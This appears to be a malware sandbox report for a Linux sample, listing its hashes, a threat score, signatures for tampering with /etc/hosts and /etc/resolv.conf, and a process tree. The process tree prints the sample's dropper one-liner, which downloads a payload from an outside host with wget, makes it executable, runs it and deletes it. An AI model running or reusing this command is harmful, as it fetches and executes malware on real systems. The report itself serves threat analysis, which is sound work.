Analysis
-
max time kernel
10682s -
max time network
142s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
submitted
11/04/2022, 08:06
Static task
static1
Behavioral task
behavioral1
Sample
32daa77977987e91a87cb6a0a37513bf
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
-
Target
32daa77977987e91a87cb6a0a37513bf
-
Size
97KB
-
MD5
32daa77977987e91a87cb6a0a37513bf
-
SHA1
cc025b44b065ca4faca30dce2034d0427e0f3437
-
SHA256
6450a27b5fa41e0568f2eb0a84b54dd71112c1407eb5a4446058780fceee1b98
-
SHA512
e842d8290a0ae0f271399b99b62271907bcfce0343fa76fc1b3367f00668fe1399ddac524cddabae0b6e7930ba437d4f4402788070219da95339ad90d02f4983
Score
8/10
Malware Config
Signatures
-
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts wget -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf wget
Processes
-
./32daa77977987e91a87cb6a0a37513bf./32daa77977987e91a87cb6a0a37513bf1⤵PID:581
-
/bin/sh/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."1⤵PID:582
-
/usr/bin/wgetwget -q http://gay.energy/.../vivid -O .....2⤵
- Modifies hosts file
- Writes DNS configuration
PID:586
-
-
/bin/chmodchmod 777 .....2⤵PID:587
-
-
./....../.....2⤵PID:588
-
-
/bin/sh/bin/sh ./.....2⤵PID:588
-
-
/bin/rmrm -rf .....2⤵PID:590
-